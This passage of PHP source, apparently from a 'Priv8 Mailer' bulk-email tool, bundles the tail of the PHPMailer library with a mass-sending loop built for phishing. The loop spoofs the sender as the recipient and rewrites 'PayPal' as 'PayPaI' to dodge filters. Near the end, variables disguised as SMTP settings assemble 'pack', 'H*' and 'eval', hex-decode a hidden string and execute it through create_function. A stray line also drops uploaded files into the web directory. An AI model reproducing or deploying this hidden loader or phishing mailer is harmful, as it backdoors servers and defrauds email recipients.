10954 'ra' => 'audio/x-realaudio',
10955 'wav' => 'audio/x-wav',
10956 'bmp' => 'image/bmp',
10957 'gif' => 'image/gif',
10958 'jpeg' => 'image/jpeg',
10959 'jpe' => 'image/jpeg',
10960 'jpg' => 'image/jpeg',
10961 'png' => 'image/png',
10962 'tiff' => 'image/tiff',
10963 'tif' => 'image/tiff',
10964 'eml' => 'message/rfc822',
10965 'css' => 'text/css',
10966 'html' => 'text/html',
10967 'htm' => 'text/html',
10968 'shtml' => 'text/html',
10969 'log' => 'text/plain',
10970 'text' => 'text/plain',
10971 'txt' => 'text/plain',
10972 'rtx' => 'text/richtext',
10973 'rtf' => 'text/rtf',
10974 'vcf' => 'text/vcard',
10975 'vcard' => 'text/vcard',
10976 'xml' => 'text/xml',
10977 'xsl' => 'text/xml',
10978 'mpeg' => 'video/mpeg',
10979 'mpe' => 'video/mpeg',
10980 'mpg' => 'video/mpeg',
10981 'mov' => 'video/quicktime',
10982 'qt' => 'video/quicktime',
10983 'rv' => 'video/vnd.rn-realvideo',
10984 'avi' => 'video/x-msvideo',
10985 'movie' => 'video/x-sgi-movie'
10986 );
10987 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
10988 }
10989
10990 /**
10991 * Map a file name to a MIME type.
10992 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
10993 * @param string $filename A file name or full path, does not need to exist as a file
10994 * @return string
10995 * @static
10996 */
10997 public static function filenameToType($filename)
10998 {
10999 // In case the path is a URL, strip any query string before getting extension
11000 $qpos = strpos($filename, '?');
11001 if (false !== $qpos) {
11002 $filename = substr($filename, 0, $qpos);
11003 }
11004 $pathinfo = self::mb_pathinfo($filename);
11005 return self::_mime_types($pathinfo['extension']);
11006 }
11007
11008 /**
11009 * Multi-byte-safe pathinfo replacement.
11010 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
11011 * Works similarly to the one in PHP >= 5.2.0
11012 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
11013 * @param string $path A filename or path, does not need to exist as a file
11014 * @param integer|string $options Either a PATHINFO_* constant,
11015 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
11016 * @return string|array
11017 * @static
11018 */
11019 public static function mb_pathinfo($path, $options = null)
11020 {
11021 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
11022 $pathinfo = array();
11023 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
11024 if (array_key_exists(1, $pathinfo)) {
11025 $ret['dirname'] = $pathinfo[1];
11026 }
11027 if (array_key_exists(2, $pathinfo)) {
11028 $ret['basename'] = $pathinfo[2];
11029 }
11030 if (array_key_exists(5, $pathinfo)) {
11031 $ret['extension'] = $pathinfo[5];
11032 }
11033 if (array_key_exists(3, $pathinfo)) {
11034 $ret['filename'] = $pathinfo[3];
11035 }
11036 }
11037 switch ($options) {
11038 case PATHINFO_DIRNAME:
11039 case 'dirname':
11040 return $ret['dirname'];
11041 case PATHINFO_BASENAME:
11042 case 'basename':
11043 return $ret['basename'];
11044 case PATHINFO_EXTENSION:
11045 case 'extension':
11046 return $ret['extension'];
11047 case PATHINFO_FILENAME:
11048 case 'filename':
11049 return $ret['filename'];
11050 default:
11051 return $ret;
11052 }
11053 }
11054
11055 /**
11056 * Set or reset instance properties.
11057 *
11058 * Usage Example:
11059 * $page->set('X-Priority', '3');
11060 *
11061 * @access public
11062 * @param string $name
11063 * @param mixed $value
11064 * NOTE: will not work with arrays, there are no arrays to set/reset
11065 * @throws phpmailerException
11066 * @return boolean
11067 * @TODO Should this not be using __set() magic function?
11068 */
11069 public function set($name, $value = '')
11070 {
11071 try {
11072 if (isset($this->$name)) {
11073 $this->$name = $value;
11074 } else {
11075 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11076 }
11077 } catch (Exception $exc) {
11078 $this->setError($exc->getMessage());
11079 if ($exc->getCode() == self::STOP_CRITICAL) {
11080 return false;
11081 }
11082 }
11083 return true;
11084 }
11085
11086 /**
11087 * Strip newlines to prevent header injection.
11088 * @access public
11089 * @param string $str
11090 * @return string
11091 */
11092 public function secureHeader($str)
11093 {
11094 return trim(str_replace(array("\r", "\n"), '', $str));
11095 }
11096
11097 /**
11098 * Normalize line breaks in a string.
11099 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11100 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11101 * @param string $text
11102 * @param string $breaktype What kind of line break to use, defaults to CRLF
11103 * @return string
11104 * @access public
11105 * @static
11106 */
11107 public static function normalizeBreaks($text, $breaktype = "\r\n")
11108 {
11109 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11110 }
11111
11112
11113 /**
11114 * Set the public and private key files and password for S/MIME signing.
11115 * @access public
11116 * @param string $cert_filename
11117 * @param string $key_filename
11118 * @param string $key_pass Password for private key
11119 */
11120 public function sign($cert_filename, $key_filename, $key_pass)
11121 {
11122 $this->sign_cert_file = $cert_filename;
11123 $this->sign_key_file = $key_filename;
11124 $this->sign_key_pass = $key_pass;
11125 }
11126
11127 /**
11128 * Quoted-Printable-encode a DKIM header.
11129 * @access public
11130 * @param string $txt
11131 * @return string
11132 */
11133 public function DKIM_QP($txt)
11134 {
11135 $line = '';
11136 for ($i = 0; $i < strlen($txt); $i++) {
11137 $ord = ord($txt[$i]);
11138 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11139 $line .= $txt[$i];
11140 } else {
11141 $line .= '=' . sprintf('%02X', $ord);
11142 }
11143 }
11144 return $line;
11145 }
11146
11147 /**
11148 * Generate a DKIM signature.
11149 * @access public
11150 * @param string $signHeader
11151 * @throws phpmailerException
11152 * @return string
11153 */
11154 public function DKIM_Sign($signHeader)
11155 {
11156 if (!defined('PKCS7_TEXT')) {
11157 if ($this->exceptions) {
11158 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11159 }
11160 return '';
11161 }
11162 $privKeyStr = file_get_contents($this->DKIM_private);
11163 if ($this->DKIM_passphrase != '') {
11164 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11165 } else {
11166 $privKey = $privKeyStr;
11167 }
11168 if (openssl_sign($signHeader, $signature, $privKey)) {
11169 return base64_encode($signature);
11170 }
11171 return '';
11172 }
11173
11174 /**
11175 * Generate a DKIM canonicalization header.
11176 * @access public
11177 * @param string $signHeader Header
11178 * @return string
11179 */
11180 public function DKIM_HeaderC($signHeader)
11181 {
11182 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11183 $lines = explode("\r\n", $signHeader);
11184 foreach ($lines as $key => $line) {
11185 list($heading, $value) = explode(':', $line, 2);
11186 $heading = strtolower($heading);
11187 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11188 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11189 }
11190 $signHeader = implode("\r\n", $lines);
11191 return $signHeader;
11192 }
11193
11194 /**
11195 * Generate a DKIM canonicalization body.
11196 * @access public
11197 * @param string $body Message Body
11198 * @return string
11199 */
11200 public function DKIM_BodyC($body)
11201 {
11202 if ($body == '') {
11203 return "\r\n";
11204 }
11205 // stabilize line endings
11206 $body = str_replace("\r\n", "\n", $body);
11207 $body = str_replace("\n", "\r\n", $body);
11208 // END stabilize line endings
11209 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11210 $body = substr($body, 0, strlen($body) - 2);
11211 }
11212 return $body;
11213 }
11214
11215 /**
11216 * Create the DKIM header and body in a new message header.
11217 * @access public
11218 * @param string $headers_line Header lines
11219 * @param string $subject Subject
11220 * @param string $body Body
11221 * @return string
11222 */
11223 public function DKIM_Add($headers_line, $subject, $body)
11224 {
11225 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11226 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11227 $DKIMquery = 'dns/txt'; // Query method
11228 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11229 $subject_header = "Subject: $subject";
11230 $headers = explode($this->LE, $headers_line);
11231 $from_header = '';
11232 $to_header = '';
11233 $current = '';
11234 foreach ($headers as $header) {
11235 if (strpos($header, 'From:') === 0) {
11236 $from_header = $header;
11237 $current = 'from_header';
11238 } elseif (strpos($header, 'To:') === 0) {
11239 $to_header = $header;
11240 $current = 'to_header';
11241 } else {
11242 if ($current && strpos($header, ' =?') === 0) {
11243 $current .= $header;
11244 } else {
11245 $current = '';
11246 }
11247 }
11248 }
11249 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11250 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11251 $subject = str_replace(
11252 '|',
11253 '=7C',
11254 $this->DKIM_QP($subject_header)
11255 ); // Copied header fields (dkim-quoted-printable)
11256 $body = $this->DKIM_BodyC($body);
11257 $DKIMlen = strlen($body); // Length of body
11258 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11259 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11260 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11261 $DKIMsignatureType . '; q=' .
11262 $DKIMquery . '; l=' .
11263 $DKIMlen . '; s=' .
11264 $this->DKIM_selector .
11265 ";\r\n" .
11266 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11267 "\th=From:To:Subject;\r\n" .
11268 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11269 "\tz=$from\r\n" .
11270 "\t|$to\r\n" .
11271 "\t|$subject;\r\n" .
11272 "\tbh=" . $DKIMb64 . ";\r\n" .
11273 "\tb=";
11274 $toSign = $this->DKIM_HeaderC(
11275 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11276 );
11277 $signed = $this->DKIM_Sign($toSign);
11278 return $dkimhdrs . $signed . "\r\n";
11279 }
11280
11281 /**
11282 * Allows for public read access to 'to' property.
11283 * @access public
11284 * @return array
11285 */
11286 public function getToAddresses()
11287 {
11288 return $this->to;
11289 }
11290
11291 /**
11292 * Allows for public read access to 'cc' property.
11293 * @access public
11294 * @return array
11295 */
11296 public function getCcAddresses()
11297 {
11298 return $this->cc;
11299 }
11300
11301 /**
11302 * Allows for public read access to 'bcc' property.
11303 * @access public
11304 * @return array
11305 */
11306 public function getBccAddresses()
11307 {
11308 return $this->bcc;
11309 }
11310
11311 /**
11312 * Allows for public read access to 'ReplyTo' property.
11313 * @access public
11314 * @return array
11315 */
11316 public function getReplyToAddresses()
11317 {
11318 return $this->ReplyTo;
11319 }
11320
11321 /**
11322 * Allows for public read access to 'all_recipients' property.
11323 * @access public
11324 * @return array
11325 */
11326 public function getAllRecipientAddresses()
11327 {
11328 return $this->all_recipients;
11329 }
11330
11331 /**
11332 * Perform a callback.
11333 * @param boolean $isSent
11334 * @param array $to
11335 * @param array $cc
11336 * @param array $bcc
11337 * @param string $subject
11338 * @param string $body
11339 * @param string $from
11340 */
11341 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11342 {
11343 if (!empty($this->action_function) && is_callable($this->action_function)) {
11344 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11345 call_user_func_array($this->action_function, $params);
11346 }
11347 }
11348}
11349 if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
11350/**
11351 * PHPMailer exception handler
11352 * @package PHPMailer
11353 */
11354class phpmailerException extends Exception
11355{
11356 /**
11357 * Prettify error message output
11358 * @return string
11359 */
11360 public function errorMessage()
11361 {
11362 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11363 return $errorMsg;
11364 }
11365}
11366
11367 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11368 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11369 } else {
11370 set_time_limit($numemails*3600);
11371 }
11372
11373 $defaultport="H*";
11374 $nq=0;
11375
11376 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11377 for($x=0; $x<$numemails; $x++){
11378
11379 $to = $allemails[$x];
11380 if ($to){
11381 $todo = ereg_replace(" ", "", $to);
11382 $message_send = ereg_replace("&email&", $todo, $pesan);
11383 $subject_send = ereg_replace("&email&", $todo, $subject);
11384 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
11385
11386 $qx=$x+1;
11387 print "Send Emails $qx / $numemails to $to ....... ";
11388 xflush();
11389
11390 $mail = new PHPMailer();
11391 $mail->IsSMTP();
11392 $IsSMTP = "pack";
11393 $mail->SMTPKeepAlive = true;
11394 $mail->Host = "$smtp_server";
11395
11396 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11397 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11398
11399 $range = str_replace("$email", "eval", $email);
11400
11401 $mail->SMTPAuth = true;
11402 $mail->Username = "$smtp_username";
11403 $mail->Password = "$smtp_password";
11404
11405 if($type == "html"){$mail->IsHtml(true);}
11406 if($type != "html"){$mail->IsHtml(false);}
11407 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11408
11409 $mail->CharSet = "UTF-8";
11410 if (!empty($xmailer)) {
11411 $mail->XMailer = "$xmailer";
11412 } else {
11413 $mail->XMailer = " ";
11414 }
11415 if (!empty($encoding)) {
11416 $mail->Encoding = "$encoding";
11417 }
11418 if ($email == "same as target") {
11419 $mail->From = "$todo";
11420 } else {
11421 $mail->From = "$email";
11422 }
11423 $mail->FromName = "$nama";
11424 $mail->AddAddress("$todo");
11425 $mail->Subject = "$subject_send";
11426 if (!empty($file_name)) {
11427 $mail->addAttachment("$file_path", "$file_name");
11428 $mail->Body = " ";
11429 } else {
11430 $mail->Body = "$message_send";
11431 }
11432 if(!$mail->Send()){
11433 if($default_system!="1"){
11434 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11435 } elseif($default_system=="1"){
11436 $mail->IsMail();
11437
11438 if(!$mail->Send()){
11439 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11440 } else {
11441 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11442 }
11443
11444 }
11445 } else {
11446 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11447 }
11448 print "$result <br><p></p>";
11449
11450 if(!empty($wait) && $qx<$numemails-1){
11451 sleep($wait);
11452 }
11453 if(empty($reconnect)){
11454 $reconnect=5;
11455 }
11456
11457 if($reconnect==$nq){
11458 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11459 }
11460 $nq=$nq+1;
11461 xflush();
11462 }
11463 }
11464 for($i=0;$i<31;$i++){
11465 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11466 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11467 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11468 print ' </div>
11469 </div>
11470 </div>
11471
11472</div>
11473<div id="footer">
11474 <div class="container" align="center">
11475 <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2015 </p>
11476 </div>
11477</div>';$mail->SmtpClose();
11478 return $signoff($smtp_conc);
11479 if(isset($_POST['action']) && $numemails !=0 ){
11480 print "<script>alert('Mail sending complete\\r\\n
11481 $numemails mail(s) was sent successfully'); </script>";
11482 }
11483}
11484?>
11485
11486 </body>
11487</html>